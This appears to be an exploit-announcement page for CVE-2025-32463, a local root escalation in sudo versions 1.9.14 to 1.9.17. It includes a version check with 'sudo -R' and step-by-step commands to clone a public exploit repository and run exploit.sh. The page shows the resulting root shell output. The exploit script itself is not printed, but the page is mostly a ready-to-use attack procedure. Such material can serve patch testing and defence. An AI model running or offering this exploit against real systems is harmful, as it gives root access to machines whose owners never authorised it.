CVE-2025-32463 — This is the exploit for the CVE-2025-32463 | Kitploit

CVE-2025-32463 Exploit

This is the exploit for the CVE-2025-32463

Thanks to Rich Mirch (@0xm1rch on X) @ Stratascale for reporting this amazing vulnerability.
Original Post: Vulnerability Advisory: Sudo chroot Elevation of Privilege
NVD: CVE-2025-32463 (CVSS 9.3)

Affected Versions

Vulnerable builds of sudo 1.9.14 up to 1.9.17 (all p‑revisions) on most Linux distributions are affected.

Security Pages

Quick vulnerability check

# Vulnerable sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
sudo: fake_root: No such file or directory

# Patched sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
[sudo] password for kairaj5456:
sudo: you are not permitted to use the -R option with fake_root

Testing the exploit

$ git clone https://github.com/Rajneeshkarya/CVE-2025-32463.git

$ cd CVE-2025-32463

$ chmod +x exploit.sh

$ ./exploit.sh

[+] Launching exploit via sudo...

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer),1000(kairaj5456)

For Understanding the Vulnerability

Check out the orginal blog posted by Rich Mirch - click here